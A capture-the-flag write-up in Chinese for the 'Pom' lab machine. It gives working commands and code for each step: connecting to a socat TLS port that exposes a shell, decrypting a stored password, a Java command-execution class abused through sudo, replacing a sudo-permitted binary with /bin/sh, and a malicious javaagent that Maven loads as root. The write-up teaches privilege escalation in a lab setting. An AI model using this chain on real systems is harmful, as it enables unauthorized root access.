

MazeSEC-Pom

user

nmap扫到22 80 55555，不过55555在扫的时候socat会直接输出到tty的那个未登录界面，提示说有SSL_accept()（这算是提示还是？）

Code block

```
1  printf '' | nc -nv 192.168.64.9 55555 -w 5
2  # Connection to 192.168.64.9 port 55555 [tcp/*] succeeded!
3  # \x15\x03\x03...
4
5  echo | openssl s_client -connect 192.168.64.9:55555 -servername Pom -brief
6  # Protocol version: TLSv1.3
7  # Peer certificate: ... CN=localhost
```

于是乎，很暴力的拿到shell，这里需要说为什么可以，也是查了一下，因为55555是直接把TLS的流量接管到/bin/sh -i了，（其实简单来说就是socat在EXEC参数那写有/bin/sh -i）导致给啥就启动sh

Code block

```
1  openssl s_client -quiet -connect 192.168.64.9:55555 -servername localhost
```

```
(base) SfTianmac-227 :: ~/work/ctf % openssl s_client -quiet -connect 192.168.64.9:55555
Connecting to 192.168.64.9
Can't use SSL_get_servername
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify error:num=18:self-signed certificate
verify return:1
depth=0 C=US, ST=State, L=City, O=Maven, OU=Proxy, CN=localhost
verify return:1
sh-5.2$ id
id
uid=1000(mav1234) gid=1000(mav1234) groups=1000(mav1234)
sh-5.2$
```

拿到shell之后用户是mav1234，home里面就是flag

Code block

```
1  flag{user-f823e147843dd5b23f0ac9d243ae12fb}
```

Root

你会发现 `journal` 还有一个提示

Code block

```
1 I've encrypted my secret with my key. No one else can read it now. It's safely
  hidden away:)
```

意思就是在 `.local` 下面有 `ssl.pem` 还有一个 `maven.meta`, `maven` 是 Java 的一个软件包管理器, 这里不做过多叙述, 直接解密就行

shell

```
1 openssl pkeyutl -decrypt \  
2 -inkey /home/mav1234/.local/ssl.pem \  
3 -in /home/mav1234/.local/maven.meta  
4  
5 MvxPf8yCB8lxXk5A
```

拿到 ssh 密码, `sudo -l` 知道 `qc2000` 可以执行 `java`, 那就可以用 `java source launcher` 做任意命令执行

Code block

```
1 import java.io.*;  
2 public class Cmd {  
3     public static void main(String[] a) throws Exception {  
4         Process p = new ProcessBuilder("/bin/sh","-c",String.join(" ", a))  
5             .redirectErrorStream(true).start();  
6         try (InputStream is = p.getInputStream()) { is.transferTo(System.out); }  
7         p.waitFor();  
8     }  
9 }
```

利用 `qc2000` 的身份执行即可

Code block

```
1 sudo -u qc2000 java /tmp/cmd.java 'id;sudo -n -l'
```

可以看到 `qc2000` 有

Code block

```
1 User qc2000 may run the following commands on Pom:
2 (terra536) NOPASSWD: /home/terra536/ln
```

Code block

```
1 sudo -u qc2000 java /tmp/Cmd.java \
2 'sudo -n -u terra536 /home/terra536/ln -sf /bin/sh /home/terra536/ln; \
3 sudo -n -u terra536 /home/terra536/ln -p -c "id; whoami; ls -la
/home/terra536"'
```

我们这里做的就是把他这个ln给替换成/bin/sh，这样的话就可以稳定的变成 terra536 的pty了

Code block

```
1 User terra536 may run the following commands on Pom:
2 (ALL) NOPASSWD: /usr/bin/mvn
```

这里卡了半天，最后用javaagent让root执行maven的时候自动加载本地agent，然后把/root/root.txt丢到/tmp里面方便读（因为要做文本，让AI帮我改了一下过程直接用输出的方式来把所有文件都写进去）

Code block

```
1 import java.lang.instrument.Instrumentation;
2 public class Agent {
3     public static void premain(String args, Instrumentation inst) throws
Exception {
4         Process p = new ProcessBuilder(
5             "/bin/sh", "/bin/sh",
6             "-c",
7             "id; cat /root/root.txt >/tmp/root.out 2>&1; chmod 644 /tmp/root.out" //
这里是需要执行的shell命令
8         ).redirectErrorStream(true).start();
9         p.waitFor();
10    }
11 }
```

Code block

```
1 mkdir -p /tmp/.mvn /tmp/agent
2 cat >/tmp/agent/Agent.java <<'EOF'
3 import java.lang.instrument.Instrumentation;
```

```

4  public class Agent {
5      public static void premain(String args, Instrumentation inst) throws
Exception {
6          Process p = new ProcessBuilder(
7              "/bin/sh", "-c",
8              "id; cat /root/root.txt >/tmp/root.out 2>&1; chmod 644 /tmp/root.out"
9          ).redirectErrorStream(true).start();
10         p.waitFor();
11     }
12 }
13 EOF
14
15 javac /tmp/agent/Agent.java
16 printf 'Premain-Class: Agent\n' >/tmp/agent/manifest.mf
17 jar cfm /tmp/agent/agent.jar /tmp/agent/manifest.mf -C /tmp/agent Agent.class
18
19 printf -- '-javaagent:/tmp/agent/agent.jar\n' >/tmp/.mvn/jvm.config
20 printf '<project xmlns="http://maven.apache.org/POM/4.0.0">
<modelVersion>4.0.0</modelVersion><groupId>x</groupId>
<artifactId>x</artifactId><version>1</version></project>\n' >/tmp/pom.xml

```

Code block

```

1  cat >/tmp/rootcmd.sh <<'EOF'
2  sudo -n mvn -q -f /tmp/pom.xml -version
3  cat /tmp/root.out
4  EOF
5  chmod +x /tmp/rootcmd.sh
6
7  sudo -u qc2000 java /tmp/Cmd.java \
8      'sudo -n -u terra536 /home/terra536/ln /tmp/rootcmd.sh'

```

Code block

```

1  3.9.9
2  flag{root-4a29b2f65b40052a804c0cc4afb906bd}

```

梳理一下攻击链路：

步骤	服务/账户	漏洞点	结果
1	socat TLS service	隐藏交互式 shell 暴露在 55555/tcp	初始 shell
2	mav1234	私钥和密文同目录存放，直接可解密	获取密码
3	sudo	mav1234 -> qc2000 : /usr/bin/java	任意命令执行为 qc2000
4	sudo	qc2000 -> terra536 : /home/terra536/ln	可替换 sudo 放行路径本身
5	sudo	terra536 -> root : /usr/bin/mvn	root 命令执行
6	Maven/JVM	javaagent 本地注入	读取 /root/root.txt

知识点

java启动如果带了 `-javaagent:xxx.jar` 的话，那就会先执行agent里面的 `premain()`，所以说我们只需要在mvn运行的时候提前让agent给劫持了，那我们premain()里面的代码就都是由root用户执行

之所以openssl可以连接socat是因为socat刚好监听的就是TLS，所以通过openssl s_client连接的话，不管发不发东西，TLS握手成功之后socat会把解密后的明文转发到 `/bin/sh`